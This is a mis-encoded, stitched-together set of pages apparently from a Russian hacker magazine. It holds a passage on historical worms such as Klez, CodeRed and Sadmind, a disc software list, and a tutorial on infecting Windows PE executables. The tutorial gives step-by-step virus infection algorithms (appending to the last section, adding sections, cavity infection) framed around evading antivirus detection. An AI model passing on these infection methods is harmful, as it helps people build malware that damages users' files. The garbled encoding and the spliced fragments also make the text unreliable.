òîì, ÷òî óÿçâèìîñòü áóäåò ïðîïàò÷åíà - ÷òî-÷òî, à ïåðåïèñ-
êó ïî e-mail íèêòî íå çàïðåòèò.

Åùå ïðèìåð? Ïîïóëÿðíûé âèðóñ Klez êîãäà-òî çàðà-
çèë îãðîìíîå ÷èñëî ìàøèí. Ïðè÷åì ýëåêòðîííàÿ ïî÷-
òà áûëà ëèøü îäíèì ñïîñîáîì ïðîíèêíîâåíèÿ. Ïðè
îòêðûòèè àòòà÷à ÷åðâü èùåò âñå ðàñøàðåííûå äèñêè
â ñåòè è çàïèñûâàåò ñåáÿ íà óäàëåííûé êîìïüþòåð.
Ïðè ýòîì îí ñêàíèðóåò ëîêàëüíûå äèñêè, âûáèðàåò
ëþáîé ôàéë ñ ðàñøèðåíèåì txt .htm .doc .jpg .bmp .xls
èëè .mpg, äîáàâëÿåò ê íåìó îêîí÷àíèå .exe è äîçàïè-
ñûâàåò ñåáÿ â áèíàðíóþ ñòðóêòóðó.

Ïî 13 ÷èñëàì ìåñÿöà ÷åðâü ïîñëåäîâàòåëüíî çàðàæàåò
âñå èñïîëíÿåìûå ôàéëû ìàøèíû, çàïîëíÿÿ èõ ñëó÷àéíûì
ñîäåðæèìûì. Ïîñëå ýòîãî âîññòàíîâèòü áèíàðíèêè óæå íå
óäàåòñÿ. Êðîìå ýòîãî, âèðóñ çàðàæàåò âñå .rar-àðõèâû, äî-
áàâëÿÿ â íèõ ñâîþ êîïèþ. Â òåëå ÷åðâÿ õðàíèòñÿ çàøèô-
ðîâàííûé ñïèñîê àäðåñîâ, ñ êîòîðûõ çàðàçà îòïðàâëÿåò
ñåáÿ ïî ýëåêòðîííîé ïî÷òå, íàõîäÿ òåì ñàìûì íîâóþ
æåðòâó â Ñåòè ;).                                                                  

Íèêîãäà íå îòêðûâàé ïîäîáíûå àòòà÷è!

»



Èçâåñòíûé
÷åðâü Jer
íàõîäèë ñâî-
èõ æåðòâ ÷å-
ðåç IRC â âè-
äå áåçîáèä-
íîé web-
ñòðàíèöû, íà
êîòîðîé íà-
õîäèëñÿ
ActiveX-ìå-
òîä. Ïîëüçî-
âàòåëü ïîëó-
÷àë ïðåäóï-
ðåæäåíèå îò
áðàóçåðà, íî,
êàê ïðàâèëî,
îòâå÷àë ñîã-
ëàñèåì íà
ñîçäàíèå â
ñèñòåìå
ôàéëà. Ñêî-
ðåå, ÷òîáû
îòâÿçàòüñÿ
îò íàçîéëè-
âîãî îêíà.

Óíèêàëü-
íîñòü
CodeRed áû-
ëà â òîì, ÷òî
âèðóñ íå èñ-
ïîëüçîâàë
íèêàêèõ âðå-
ìåííûõ è
ïîñòîÿííûõ
ôàéëîâ â
ñâîåé ðàáî-
òå. ×åðâü
ïåðåïîëçàë â
ñèñòåìó â
âèäå TCP/IP
ïàêåòà, çà-
òåì ñåëèëñÿ
â îïåðàòèâêå
ìàøèíû è
èñêàë íîâûå
æåðòâû.

ÄÐÓÃÈÅ ÏËÀÒÔÎÐÌÛ
Ê ñâåäåíèþ, ÷åðâè áûâàþò íå

òîëüêî ïîä Windows è Linux, íî è ïîä
ëþáóþ ñèñòåìó, ãäå ñóùåñòâóåò êà-
êàÿ-íèáóäü óäàëåííàÿ óÿçâèìîñòü.
Ïðèìåðîì òàêîé çàðàçû ÿâëÿåòñÿ
÷åðâÿê ïîä SunOS, èìåþùèé íàçâà-
íèå Sadmind. Äëÿ ðàçìíîæåíèÿ
÷åðâü èñïîëüçóåò ñòàðóþ áàãó â äå-
ìîíå sadmind, î êîòîðîé íå ðàç ïèñàë
bugtraq (http://sunsolve.sun.com/pub-
cgi/retrieve.pl?doctype=coll&doc=secb
ull/191&type=0&nav=sec.sba). Äëÿ ïî-
èñêà íîâîé ìàøèíû ÷åðâÿê ñëó÷àéíî
ãåíåðèðóåò äâà ïåðâûõ ÷èñëà IP-àäðå-
ñà, à çàòåì ïåðåáèðàåò ïîëíûé ðÿä
êîìáèíàöèé äëÿ îñòàëüíîé ÷àñòè.
Ïîñëå ïðîíèêíîâåíèÿ âèðü ñîçäàåò
ôàéë .rhosts ñ îòìåíîé àóòåíòèôèêà-
öèè ïî RPC è êîïèðóåò ñåáÿ íà àòàêó-
åìûé êîìïüþòåð â êàòàëîã
"/dev/cuc". Òàê êàê âñå ýòî ïðîèñõî-
äèò ïîä root-ïðàâàìè, ÷åðâü çàíîñèò
ñåáÿ â ñêðèïò àâòîçàïóñêà, ÷òîáû
áûòü àêòèâíûì ïðè ñëåäóþùåì ñòàð-
òå ìàøèíû.

Òàêæå ñóùåñòâóþò ñâîè ÷åðâè ïîä
MacOS è äðóãèå ìåíåå èçâåñòíûå
îïåðàöèîíêè. Ïðàâäà, îíè íå ÿâëÿþò-
ñÿ ðåâîëþöèîííûìè, òàê êàê â Ñåòè
î÷åíü ìàëî êîìïüþòåðîâ ñ äðåâíèìè
ñèñòåìàìè.

ß ÏÐÈØÅË Ñ ÌÈÐÎÌ!
Êàê ýòî íè ïàðàäîêñàëüíî, ñóùå-

ñòâóþò ÷åðâÿêè, êîòîðûå... ëå÷àò
êîìïüþòåðû îò äðóãèõ ÷åðâåé. Âèäè-
ìî, ó íåêîòîðûõ âèðìåéêåðîâ-ýíòóçè-
àñòîâ âîçíèêëî æåëàíèå î÷èñòèòü
ãëîáàë îò ãðÿçè. Òàêèå ýêçåìïëÿðû
òàêæå áûëè ïðèçíàíû âèðóñàìè, õîòÿ
îíè è íå ïðèíîñÿò âðåäà. Ýòî îáóñ-
ëàâëèâàåòñÿ òåì, ÷òî ïðîãðàììà çàã-
ðóæàåò ïðîöåññîð è îïåðàòèâíóþ ïà-
ìÿòü, òåì ñàìûì îòðèöàòåëüíî ñêà-
çûâàÿñü íà ïðîèçâîäèòåëüíîñòè ñèñ-
òåìû.

Ïðèìåðîì òàêîãî "ïîëåçíîãî" ÷åð-
âÿêà ÿâëÿåòñÿ CodeGreen. Ïðîíèêíóâ
â ñèñòåìó òåì æå ïóòåì, ÷òî è

CodeRed, îí óíè÷òîæàåò ÷åðâÿ (åñëè,
êîíå÷íî, îí òàì ïðèñóòñòâóåò), à òàê-
æå ñêà÷èâàåò è óñòàíàâëèâàåò ïàò÷
îò Microsoft. Â òåëå âèðóñà ñîäåðæèò-
ñÿ ñëåäóþùèé òåêñò:

Des HexXer's CodeGreen V1.0
beta 

CodeGreen has entered your
system

it tried to patch your system
and

to remove CodeRedII's back-
doors

Ýòîò òåêñò äîêàçûâàåò äîáðûå íàìå-
ðåíèÿ ñîçäàòåëÿ ÷åðâÿêà.

Àíàëîãè÷íûì àíòè÷åðâÿêîì ïîä
Linux ÿâëÿåòñÿ Cheese. Ïîïàäàÿ â
ñèñòåìó, îí âûïîëíÿåò ðÿä äåéñòâèé,
êîòîðûå íàïðàâëåíû íà óíè÷òîæå-
íèå ñåòåâîãî ÷åðâÿ Ramen. Â ïåð-
âóþ î÷åðåäü, Cheese ïðîñìàòðèâàåò
ôàéë /etc/inetd.conf è óäàëÿåò èç íå-
ãî âñå çàïóùåííûå áýêäîðû (êîòî-
ðûå áûëè ïðåäâàðèòåëüíî îñòàâëå-
íû Ramen'îì). Çàòåì âñå ñòàíäàðòíî:
ãåíåðèðóþòñÿ ñëó÷àéíûå IP-àäðåñà,
íà êîòîðûå àíòè÷åðâü ïûòàåòñÿ çà-
êîííåêòèòüñÿ. Â óäà÷íîì ñëó÷àå îí
çàêà÷èâàåò ñåáÿ íà óäàëåííóþ ìà-
øèíó, êàê ýòî äåëàë Ramen (íà ñåð-
âåðå âûïîëíÿåòñÿ êîä, êîòîðûé çà-
êà÷èâàåò âèðóñ â ôîðìàòå UUEN-
CODE ñ ïîìîùüþ ïîïóëÿðíîé ïðîã-
ðàììû lynx). Ïîñëå ýòîãî ÷åðâÿê àê-
òèâèçèðóåòñÿ âíîâü è ðàçìíîæåíèå
ïîâòîðÿåòñÿ.

ÁÓÄÜ ÁÄÈÒÅËÅÍ!
Ïðè íàïèñàíèè ýòîé ñòàòüè ïðåñ-

ëåäîâàëèñü äâå öåëè. Âî-ïåðâûõ,
ïîêàçàòü òåáå âñå âîçìîæíîñòè ÷åð-
âåé, à òàêæå ìåòîäû èõ ðàñïðîñòðà-
íåíèÿ. À âî-âòîðûõ, îáðàòèòü òâîå
âíèìàíèå íà ñîáñòâåííóþ áåçîïàñ-
íîñòü - íå èñêëþ÷åíî, ÷òî íà òâîåì
êîìïüþòåðå âîâñþ îðóäóåò êàêîé-
íèáóäü LoveSan èëè Cheese. Îáÿçà-
òåëüíî ïîäïèøèñü íà ðàññûëêó
Microsoft (õîòü ýòî è ïðîòèâíî çâó-
÷èò ;)) è ïîëó÷àé ñïèñîê óÿçâèìîñ-
òåé è íîâûõ ïàò÷åé, êîòîðûå âûõî-
äÿò ÷óòü ëè íå êàæäûé äåíü. Òåì ñà-
ìûì òû îãðàäèøü ñåáÿ îò íåíóæíîé
çàðàçû è ñîõðàíèøü âñþ èíôîðìà-
öèþ íà ñâîåé ìàøèíå. A

ÀËÃÎÐÈÒÌÛ ÏÎÄÂÈÆÍÛÅ ÂÈÐÓÑÛ: ÌÈÔ ÈËÈ ÐÅÀËÜÍÎÑÒÜ?46
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Ñîîáùåíèå îò CodeGreen

Advisory îá óÿçâèìîñòè â Sadmind

Ñóùåñòâóþò ÷åðâÿêè, 
êîòîðûå... ëå÷àò êîìïüþòåðû 

îò äðóãèõ ÷åðâåé.

www.viruslist.com/viruslist.html - ýíöèêëîïåäèÿ âñåõ èçâåñòíûõ
âèðóñîâ. Îò Ëàáîðàòîðèè Êàñïåðñêîãî.

www.sdteam.com/articles/hack044.html - Ìàëàÿ âèðóñíàÿ ýí-
öèêëîïåäèÿ. ×àñòü ïåðâàÿ.

http://old.softerra.ru/review/security/7085/page1.html - Ìàëàÿ
âèðóñíàÿ ýíöèêëîïåäèÿ. ×àñòü âòîðàÿ.

http://web-support.ru/net-security/sec_43_3.shtml - Ìàëàÿ âè-
ðóñíàÿ ýíöèêëîïåäèÿ. ×àñòü òðåòüÿ.
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Ñïåö 12(25), 
Ëåãêèé Õàê 
â öèôðîâîì ôîðìàòå

Îáíîâëåíèÿ 
äëÿ Windows

Ñàéòû è äîêè 
èç íîìåðà

Îáíîâëåíèÿ 
àíòèâèðóñíûõ áàç

È ÅÙÅ:

ADWARE/SPYWARE
Adaware 6.181
AD Muncher 4.51
BPS Spyware Remover
Proximitron 4.5
SoftTBN SDK 1.2
SpywareBlaster 2.6
SpywareGuard 2.2

ÀÍÒÈÂÈÐÓÑÛ
Dr.Web 4.30
Dr.Web 4.29 for Linux and
clients
AMaViS 0.2.1 for Unix
Sophos 3.73
AntiVir Workstation  2.08
AntiVir Personal Edition 6.21
eTrust Antivirus 7
F-Secure Internet Security
Kaspersky Antivirus Pro 4.5
Kaspersky Anti-Virus for
Linux

Norton Antivirus 2003
NOD32 Antivirus for Win9x
NOD32 Antivirus for WinNT
PC-Cillin 2003
Panda Antivirus Platinum 7
avast! 4 Home
avast! 4 Pro
Stop! 4.10
McAfee VirusScan for UNIX
4.24
McAfee VirusScan Home
Edition 7.0

ÁÐÀÍÄÌÀÓÝÐÛ
Kaspersky AntiHacker 1.5
Kerio Personal Firewall 2.1.5
Outpost 1.0
Outpost 2.0 Pro
ZoneAlarm 3.7
ZoneAlarm Pro 4.0

ÑÏÀÌ
Anti-Spam Filter 1.02
BayesIt! 0.4
Spam Bully for Outlook
Spam Bully for Outlook
Express
Spam Eater Pro 4
McAfee SpamKiller
McAfee SpamKiller for MS
Exchange
SpamPal 1.5
SpamAssasin 2.55
WinAntiSpam 1.18

ÀÍÒÈÒÐÎßÍÛ
Antiy Ghostbusters 4 
TrojanShield
Anti-Trojan 5.5
DiamondCS TDS-3
Trojan Remover
TrojanHunter 3.6

Àäðåñíàÿ êíèãà v4.4.4 
Flexiblesoft Dialer II v3.43 
WebPictures v1.85 
Tweak-XP Pro v2.0.11c 
RazorLame v1.1.5.1342 
MagicTweak v2.50 
GoSURF v1.7 
MTSBalance v2.20 
Nero Burning Rom v6.0.0.15 
MTSDetail v1.14c 
ListTV v3.7.6 
Password Spy v1.01 
Øèôðàòîð-äåøèôðàòîð
ôàéëîâ v1.54 
NetInfo v4.8 804 
PrintMonitor v1.2

Pornosaur v1.44 
FreeMemory v1.95 
AOH Pro v5.5 
MobyDock DX v0.77a 
TrackSeek v2.07 
WinOrganizer v2.4 (build
450) 
WebDrive v5.30 
Flash Saver v4.0 
FastCache v1.01 
BIOS Patcher v4.00.RC.F 
AltDesk v1.5.2 
Mail Them Pro v5.2.1 
System Commander v7.05 
Êàðòî÷íàÿ èãðà â äóðàêà
v3.0

VcdromX v4.1 
nnCron LITE v1.13 
Keyword Live v2.20
Fast Browser Pro v6.01
Keyword Extractor v1.03
Advanced Dialer v2.5f
NetLimiter v1.21 (beta)
FTP Voyager v10.0.0.4 
Advanced Viewer v0.65
(build 120)
ArtMoney v6.27
Web Compressor v1.03 
Mobile Net Switch v1.9.8 
Èäåàëüíûé ïàðòíåð v1.58
Pro
TimeRecorder v3.3.5 

ÂÅÑÜ ÑÎÔÒ ÈÇ ÍÎÌÅÐÀ!
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èðóñû... âñå ìû ñ íè-
ìè ñòàëêèâàåìñÿ, ðà-
íî èëè ïîçäíî. Ó êî-

ãî-òî ýòè âñòðå÷è ïîõîäÿò
îòíîñèòåëüíî áåçáîëåçíåí-
íî, êòî-òî ïîñëå íèõ ïîäó-
ìûâàåò î ñàìîóáèéñòâå :).
Õî÷åøü çíàòü, êàê äåéñòâó-
åò òâîé ïðîòèâíèê, êàê îáå-
çîïàñèòü ñåáÿ è êàê âû÷èñ-
òèòü çàðàçó ñ íàèìåíüøèìè
ïîñëåäñòâèÿìè? À ìîæåò òû
õî÷åøü íàâîäèòü ñòðàõ íà
âåñü ìèð ñâîèì ñóïåð îïàñ-
íûì è íåóáèâàåìûì âèðó-
ñîì? Â ëþáîì ñëó÷àå, íà
äèñêå òû íàéäåøü êó÷ó çà-
ùèòíûõ óòèëèò, êîòîðûå
ïîñëå óñòàíîâêè è ãðàìîò-
íîé íàñòðîéêè ïðåâðàòÿò
òâîé êîìïüþòåð â íàñòîÿ-
ùèé áàñòèîí. È äîêè, êîòî-
ðûå ïîìîãóò òåáå ðàçîáðàòü-
ñÿ â óñòðîéñòâå âèðóñîâ. È
êàê îáû÷íî, ïîñëåäíèå îá-
íîâëåíèÿ äëÿ Windows è
ñîôò îò NoName.

Â
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òàê, ðàññìîòðèì óñò-
ðîéñòâî ôàéëà:

Ôàéë íà÷èíàåòñÿ c DOS ÷àñòè, êîòî-
ðàÿ íóæíà ëèøü â öåëÿõ ñîâìåñòè-
ìîñòè. Â ñàìîì íà÷àëå ðàñïîëàãàåòñÿ
ïðîñòàÿ ïðîãðàììà, åäèíñòâåííîé
öåëüþ êîòîðîé ÿâëÿåòñÿ âûâîä íà ýê-
ðàí ñòðîêè: This program must be run
under Win32.
Âïðî÷åì, ýòà ÷àñòü íàì íå ïîíàäîáèòñÿ,
âàæíî çíàòü ëèøü äâå âåùè: òî, ÷òî
ëþáîé ôàéë íà÷èíàåòñÿ ñ äâóõ áàéò -
"MZ", è òî, ÷òî ïî àäðåñó 3ch îò íà÷àëà
ôàéëà ëåæèò ñìåùåíèå PE çàãîëîâêà.
Ïîñëåäíèé î÷åíü âàæåí, è íóæíî îñòà-
íîâèòüñÿ íà íåì ïîäðîáíåå.

PE çàãîëîâîê ñîäåðæèò äîâîëüíî ìíî-
ãî ïîëåé, ïîýòîìó âñå, ÷òî íå êàñàåòñÿ
íåïîñðåäñòâåííî çàðàæåíèÿ, áûëî
âûáðîøåíî. Òàê ÷òî, åñëè òåáå íóæíî
áîëåå îáøèðíîå îïèñàíèå PE ôîðìà-
òà, ñìîòðè ññûëêè â êîíöå ñòàòüè. ß
ëèøü êîðîòêî ïðîáåãóñü ïî òåì ïîëÿì,
çíà÷åíèÿ â êîòîðûõ íóæíî ìåíÿòü ïðè
çàðàæåíèè. Çàãîëîâîê íà÷èíàåòñÿ ñî
ñëîâà "PE" è äâóõ íóëåé. Num of
Objects - ÷èñëî ðàçìåðîì â ñëîâî, ñî-
äåðæàùåå êîëè÷åñòâî ñåêöèé â ôàéëå.
NT header Size - èñïîëüçóÿ ýòî ïîëå,
ìîæíî ïîëó÷èòü ðàçìåð âñåãî çàãîëîâ-
êà. Îí áóäåò ðàâåí: NT header Size +
18h. Entry point RVA - ñìåùåíèå â ôàé-
ëå, ïî êîòîðîìó ïåðåäàåòñÿ óïðàâëå-
íèå ïðè çàïóñêå ôàéëà. Image Base -

àäðåñ, ïî êîòîðîìó, ïðîèçâîäèòñÿ çàã-
ðóçêà ôàéëà â ïàìÿòü (îáû÷íî
0x00400000). Object align è file align -
âûðàâíèâàíèå, âàæíàÿ âåùü, è î íåì
ñòîèò ïîãîâîðèòü ïîäðîáíåå. Êàê âè-
äèøü, îíî òóò äâóõ âèäîâ: âûðàâíèâà-
íèå ñåêöèé (object align) è ôàéëîâîå
âûðàâíèâàíèå(file align). Ýòî îáóñëîâ-
ëåíî ñïåöèôèêîé ðàáîòû êîìïüþòåðà -
÷òåíèå èíôîðìàöèè ñ æåñòêîãî äèñêà
ïðîèçâîäèòñÿ ñåêòîðàìè, à èç ïàìÿòè
ñòðàíèöàìè. Ò.å. åñëè ôàéë çàíèìàåò 1
áàéò, ñ äèñêà áóäåò âñå ðàâíî ïðî÷èòà-
íî 512 (1 ñåêòîð). Ïîýòîìó ðàçìåð ôàé-
ëà íà äèñêå äîïîëíÿåòñÿ íóëÿìè (âû-
ðàâíèâàåòñÿ) äî îïðåäåëåííîãî çíà÷å-
íèÿ (îáû÷íî 512). Òî æå ñàìîå â ïàìÿ-
òè, òîëüêî òàì âûðàâíèâàíèå îáû÷íî
ïðîèñõîäèò íà îäíó ñòðàíèöó (1000h).
Ïðîùå ãîâîðÿ, âûðàâíèâàíèå - ýòî îê-
ðóãëåíèå äî îïðåäåëåííîé êîíñòàíòû,
íóæíîå äëÿ îïòèìèçàöèè ðàáîòû
êîìïüþòåðà (èëè äëÿ óñëîæíåíèÿ æèç-
íè âèðìåéêåðàì, íî ýòî óæ êîìó êàê).
Image Size - âèðòóàëüíûé ðàçìåð âñåãî
ôàéëà âìåñòå ñ çàãîëîâêàìè.
Ïðåæäå ÷åì ïåðåéòè ê äàëüíåéøåìó
îïèñàíèþ, íóæíî ïðîÿñíèòü îäíó âàæ-
íóþ âåùü - PE ôàéë ñîñòîèò èç ñåêöèé.
Îäíà ñåêöèÿ ìîæåò ñîäåðæàòü êîä,
äàííûå, òàáëèöó èìïîðòà èëè ÷òî-íè-
áóäü åùå. Ãëàâíàÿ ñëîæíîñòü çàêëþ-
÷àåòñÿ â òîì, ÷òî ñåêöèÿ íà äèñêå íå
îáÿçàòåëüíî ñîîòâåòñòâóåò ñåêöèè â
ïàìÿòè. Ýòî ïðîèñõîäèò ïî íåñêîëüêèì
ïðè÷èíàì: îò÷àñòè èç-çà âûðàâíèâà-
íèÿ, î êîòîðîì áûëî ñêàçàíî âûøå, à
åùå ïîòîìó, ÷òî ñóùåñòâóåò òàêàÿ
âåùü, êàê íåèíèöèàëèçèðîâàííûå äàí-
íûå. Ê ïðèìåðó, åñëè â ëèñòèíãå íàïè-
ñàòü: buffer rb 1000h, òî ðàçìåð ôàéëà
íà äèñêå íå óâåëè÷èòñÿ íè íà áàéò.
Äðóãîå äåëî â ïàìÿòè, çäåñü îí áóäåò
áîëüøå ðîâíî íà 1000h. Èíôîðìàöèÿ
î ñåêöèÿõ õðàíèòñÿ â ñïåöèàëüíîé òàá-
ëèöå. Îíà èäåò ñðàçó æå ïîñëå PE çàãî-
ëîâêà è ñîñòîèò èç íàáîðà çàãîëîâêîâ
ñåêöèé. Êàæäûé çàãîëîâîê îïèñûâàåò
îäíó ñåêöèþ ôàéëà: åå ðàçìåð, àäðåñ
çàãðóçêè, ïàðàìåòðû è ò.ï.
Ýòî áûëà ïîñëåäíÿÿ òàáëèöà, çíàíèå
êîòîðîé íåîáõîäèìî äëÿ çàðàæåíèÿ
ôàéëîâ. È ïîñëåäíÿÿ âåùü: ïðåæäå
÷åì íà÷èíàòü ðàáîòàòü ñ ôàéëîì, âè-

ðóñó íóæíî ïðîâåðèòü, ÷òî ýòî
äåéñòâèòåëüíî PE ôàéë. Èñõîäÿ èç
âñåãî âûøåñêàçàííîãî, ïîëó÷àåì
ïðîñòåíüêèé àëãîðèòì ïðîâåðêè:

1. Ïðî÷èòàòü ôàéë â ïàìÿòü (ïî àä-
ðåñó xxxxxxxx).
2. Ïðîâåðèòü ïåðâûå äâà áàéòà íà

ñîîòâåòñòâèå MZ.
3. Âçÿòü ñìåùåíèå PE çàãîëîâêà ïî

àäðåñó xxxxxxxx+3ch.
4. Âûðîâíÿòü åãî íà àäðåñ çàãðóçêè

(ïðèáàâèòü xxxxxxxx).
5. Ïðîâåðèòü ïåðâûå äâà áàéòà íà

ñîîòâåòñòâèå "PE".

Ñïîñîá ïåðâûé. 
Çàïèñü â êîíåö ïîñëåäíåé 
ñåêöèè
Ýòî ñïîñîá ÿâëÿåòñÿ ñàìûì ïðîñòûì,
è ïðè ýòîì äîâîëüíî ýôôåêòèâíûì.
Èìåííî ïîýòîìó åãî èñïîëüçóþò áîëü-
øèíñòâî âèðóñîâ. Äåéñòâèòåëüíî, çà-
ïèñü âèðóñà â êîíåö ôàéëà (ò.å. â ïîñ-
ëåäíþþ ñåêöèþ) êàæåòñÿ íàèáîëåå
ëîãè÷íîé. Íî åñòü è íåäîñòàòîê - âñå
àíòèâèðóñû î÷åíü âíèìàòåëüíû ê
ïîñëåäíåé ñåêöèè ôàéëà. Îñîáåííî,
åñëè òóäà óêàçûâàåò ImageBase. Âïðî-
÷åì, äëÿ íà÷àëà - ýòî ëó÷øèé ñïîñîá.
Àëãîðèòì çàðàæåíèÿ òàêîé:

È

Ýäàéí Ãõýëëàõ

Â èðóñû ðàçìíîæàþòñÿ ïóòåì çàðàæåíèÿ èñïîëíÿåìûõ ôàéëîâ. Â Windows òàêèìè ôàéëàìè ÿâëÿþòñÿ ôàéëû
ôîðìàòà PE (Portable Executable), êîòîðûé áûë ðàçðàáîòàí íà áàçå ELF (executable linkable format) èç ÎÑ

Unix, ÷òî, íåñîìíåííî, ïîøëî åìó íà ïîëüçó.
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0h object name

08h virtual size

0ch Section RVA

10h Physical size

14h Physical offset

18h Reserved

28h Object flags

DOS ÷àñòü.

PE çàãîëîâîê.

Òàáëèöà ñåêöèé.

Ñåêöèÿ 1.

Ñåêöèÿ 2.

Ñåêöèÿ n.

�.

0h PE, 0, 0

�skip�.

6h Num of Objects

�skip�.

14h NT Header Size

�skip�.

28h Entry point RVA.

34h Image Base

38h Object align.

�skip�

50h Image Size
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PE ôàéë
ñîñòîèò èç
ñåêöèé. Îäíà
ñåêöèÿ ìî-
æåò ñîäåð-
æàòü êîä,
äàííûå, òàá-
ëèöó èìïîð-
òà èëè ÷òî-
íèáóäü åùå.
Ãëàâíàÿ
ñëîæíîñòü
çàêëþ÷àåòñÿ
â òîì, ÷òî
ñåêöèÿ íà
äèñêå íå
îáÿçàòåëüíî
ñîîòâåò-
ñòâóåò ñåê-
öèè â ïàìÿ-
òè.

1. Ïîëó÷èòü ñìåùåíèå ïîñëåäíåé
ñåêöèè, óìíîæèâ êîëè÷åñòâî ñåêöèé
íà 28h.
2. Óâåëè÷èòü virtual size ñåêöèè íà

âèðòóàëüíóþ äëèíó âèðóñà.
3. Óâåëè÷èòü physical size ñåêöèè íà

ôèçè÷åñêóþ äëèíó âèðóñà.
4. Çàïèñàòü òåëî âèðóñà ïî àäðåñó

Physical offset + Physical size.
5. Èçìåíèòü EntryPoint â PE çàãî-

ëîâêå íà íà÷àëî âèðóñíîãî êîäà.
6. Óâåëè÷èòü ImageSize íà âèðòó-

àëüíóþ äëèíó âèðóñà.
Âîò è âñå, êàê âèäèøü - î÷åíü ïðîñòî.
Åäèíñòâåííîå, ÷òî åùå íóæíî äîáà-
âèòü, â äàííîì ñëó÷àå âèðòóàëüíàÿ
äëèíà âèðóñà - ýòî äëèíà âèðóñà, âû-
ðîâíåííàÿ íà virtual align, à ôèçè÷åñ-
êàÿ äëèíà - ñîîòâåòñòâåííî, äëèíà,
âûðîâíåííàÿ íà physical align.

Ñïîñîá âòîðîé. 
Äîáàâëåíèå íîâîé ñåêöèè
Òîæå î÷åíü ïîïóëÿðíûé è ïðîñòîé
ìåòîä. Íåñëîæíî äîáàâèòü åùå îäíó
çàïèñü â object table è çàïèñàòü òåëî
âèðóñà â êîíåö ôàéëà. Íî, êàê è ó
ïðåäûäóùåãî ñïîñîáà, åñòü áîëüøîé
ìèíóñ - ëþáîé ìàëî-ìàëüñêè óâàæàþ-
ùèé ñåáÿ àíòèâèðóñ ïðèáüåò òâîé âè-
ðóñ êàê íå÷åãî äåëàòü.
Íå èäåàëüíî, íî íàìíîãî ëó÷øå, äî-
áàâëÿÿ íîâóþ ñåêöèþ, çàïèñûâàòü åå
íå â êîíåö ôàéëà, êàê ýòî äåëàåòñÿ
îáû÷íî, à â íà÷àëî. Îñòàëüíûå ñåê-
öèè ïðè ýòîì ñäâèãàþòñÿ. Ñ òî÷êè çðå-
íèÿ àíòèâèðóñà îïðåäåëèòü íàëè÷èå
âèðóñà áóäåò óæå íàìíîãî ñëîæíåå.

Ñïîñîá òðåòèé. 
HLL ìåòîä
Ýòî äàëåêî íå ñàìûé ëó÷øèé ñïîñîá. ß
áû äàæå íàçâàë åãî ëàìåðñêèì. Íî îí
ñóùåñòâóåò, è äàæå åñòü ëþäè, èñïîëü-
çóþùèå åãî â ñâîèõ âèðóñàõ. Ñâîèì
ïîÿâëåíèåì ýòîò ìåòîä îáÿçàí ÿçûêàì
âûñîêîãî óðîâíÿ (è èìåííî â íèõ îí
ïðèìåíÿåòñÿ ÷àùå âñåãî). Ñóòü â òîì,
÷òî âèðóñ çàìåíÿåò ñîáîé çàðàæàå-
ìûé ôàéë, êîòîðûé ïðîñòî ïðèñîåäè-
íÿåòñÿ ê òåëó âèðóñà. Âî âðåìÿ çàïóñ-
êà âèðóñ èçâëåêàåò èç ñåáÿ ïðîãðàììó
è çàïóñêàåò åå. Ðåàëèçîâàòü òàêîé
ñïîñîá î÷åíü ëåãêî, äà ê òîìó æå ìîæ-
íî óïàêîâûâàòü èñõîäíûé ôàéë, è òîã-
äà ðàçìåð çàðàæåííîãî ôàéëà íå óâå-
ëè÷èòñÿ. Íî íà ýòîì ïëþñû äàííîãî
ìåòîäà çàêàí÷èâàþòñÿ. Êîðî÷å ãîâîðÿ,
ÿ íàäåþñü, òû íèêîãäà íå áóäåøü çà-
ðàæàòü ôàéëû òàêèì ñïîñîáîì.

Ñïîñîá ÷åòâåðòûé. 
Çàðàæåíèå ïåðâîé ñåêöèè
Äàííûé ñïîñîá äîâîëüíî ñëîæåí â
ðåàëèçàöèè. Íî îíî òîãî ñòîèò. Ïðè
çàðàæåíèè âèðóñ äîïèñûâàåòñÿ ê êîí-
öó ïåðâîé ñåêöèè. Âñå îñòàëüíûå ñåê-
öèè ñäâèãàþòñÿ. Åñëè âñå ñäåëàòü ãðà-
ìîòíî, àíòèâèðóñó áóäåò î÷åíü ñëîæ-
íî îïðåäåëèòü íàëè÷èå âèðóñà.

Ñïîñîá ïÿòûé. 
Çàïèñü â ñâîáîäíîå ìåñòî
Î÷åíü ïðîäâèíóòûé ñïîñîá. Èìåííî
îí ïðèìåíÿëñÿ â íåáåçûçâåñòíîì âè-
ðóñå ×åðíîáûëü.
Âèðóñ çàïèñûâàëñÿ â ñâîáîäíîå ìåñòî â
êàæäîé ñåêöèè, à ñòàðòîâûé êîä ïîìå-
ùàë â ñâîáîäíûå ïîëÿ â çàãîëîâêå. Ðàñ-
ñìàòðèâàÿ PE ôîðìàò, ÿ ãîâîðèë î âû-
ðàâíèâàíèè. Òàê âîò, èìåííî áëàãîäàðÿ
âûðàâíèâàíèþ ýòîò ñïîñîá èìååò ìåñòî.
Îòêðîé ëþáîé exe-ôàéë è ïîñìîòðè
âíèìàòåëüíî. Íàâåðíÿêà òû óâèäèøü
äîâîëüíî ìíîãî íóëåé. Ýòî çàãðóç÷èê ñ
èõ ïîìîùüþ äîïîëíÿåò ðàçìåð ñåêöèè
äî file align. Èìåííî íà ìåñòî ýòèõ íóëåé
ìû è áóäåì çàïèñûâàòüñÿ.
Ïðè÷åì åñëè ñåêöèé â ôàéëå íåñ-
êîëüêî, è â îäíó âèðóñ íå óìåùàåòñÿ
(à òàê áûâàåò ÷àùå âñåãî), ïðèäåòñÿ
ðàçáèòü âèðóñ íà íåñêîëüêî ÷àñòåé è
çàïèñûâàòü èõ â ðàçíûå ñåêöèè, ñâÿ-
çàâ jmp'àìè. Ãëàâíîå ïðè ýòîì - ïðà-
âèëüíî ïîñ÷èòàòü ñìåùåíèÿ, ó÷èòû-
âàÿ âèðòóàëüíûå àäðåñà ñåêöèé è èõ
ðàçìåðû.
Ïîñëå òàêîãî ëþáîé àíòèâèðóñ îòäû-
õàåò.

Ñïîñîá øåñòîé. 
Èíòåãðàöèÿ ñ òåëîì ïðîãðàììû
Ýòî ýëèòíûé ñïîñîá, ïðèìåíèòü êîòî-
ðûé ïî ñèëàì íåìíîãèì. Ïî-ìîåìó,
âïåðâûå îí áûë îñâåùåí â ðàáîòàõ

èçâåñòíîãî ìîñêîâñêîãî âèðìåéêåðà
z0mbie. È îñóùåñòâëåí èì æå, â âèðó-
ñå Mistfall-z10. Àëãîðèòì çàðàæåíèÿ
ýòîãî âèðóñà òàêîé:

1. Äèçàññåìáëèðîâàòü ôàéë.
2. Èíòåãðèðîâàòü ôàéë ñ òåëîì âèðóñà.
